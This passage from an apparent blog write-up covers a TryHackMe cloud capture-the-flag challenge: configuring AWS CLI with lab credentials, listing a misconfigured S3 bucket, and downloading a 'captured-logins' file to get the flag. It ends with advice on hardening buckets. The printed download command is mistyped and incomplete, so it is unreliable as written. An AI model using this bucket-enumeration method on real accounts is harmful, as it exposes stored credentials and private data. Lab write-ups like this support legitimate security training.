/></figure><p>Knowing the credentials were configured for AWS CLI, I first set them up using:</p><pre>aws configure</pre><p>I provided the given Access Key, Secret Access Key, and the region (us-west-2). To confirm that I had configured the credentials correctly, I ran:</p><pre>aws sts get-caller-identity</pre><p>This command validated that the access credentials were functioning correctly, confirming that I had permissions to proceed.</p><p>Now, this is the part where THM gives you access the the s3 bucket darkinjector-phish. Once the credentials were set, my initial thought was to identify the accessible S3 buckets. This bucket has flaws in terms of access policy. My thought process was to list the contents of s3 buckets provided. To list all the available buckets, I ran:</p><pre>aws s3 ls s3://darkinjector-phish</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*A0rfak1oDghHVHzbkq7OQg.png" /></figure><p>At this point, I analyzed the filenames.</p><ul><li>index.html – Likely a static web page, which is usually not very useful for me (initially).</li><li>captured-logins-093582390 – The name hinted at possible sensitive information, possibly containing credentials or login details. This was the most interesting file to investigate.</li></ul><p>Here i executed aws s3 ls s3://darkinjector-phish and there I discovered the items on the screenshot image. Index.html seems a bit not useful, so the one I downloaded to view the contents was captured-logins-093582390</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*0VV3WsI1rVO4BCY1xVo56w.png" /></figure><pre>aws s3 cp s3://darkinjector-phsh/captured-logins-093582390</pre><p>When downloading an item or file from an S3 Bucket, it is important to follow the command syntax. Go to AWS documentation for more information, since research is also part of the deed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*Yx8_DMKzoYjpW1ZtRiKbeA.png" /></figure><p>After downloading the captured-logins-093582390, I then now opened the contents of the file. Upon examining the file, I was greeted with the <strong>flag</strong>. Mission accomplished! 🎯</p><h3>Conclusion</h3><p>This challenge underscores the importance of securing S3 buckets by applying strict access controls. Exposing sensitive data via misconfigured S3 policies is a common cloud misconfiguration that attackers can exploit.</p><ul><li>Always implement the <strong>Principle of Least Privilege</strong> to restrict access.</li><li>Enable S3 bucket policies that restrict public access.</li><li>Regularly audit and monitor S3 bucket permissions to mitigate these types of vulnerabilities.</li></ul><p>The TryHackMe Hackfinity CTF includes a Cloud category, so I will provide more writeups of the challenges I have solved.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6c731553702" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>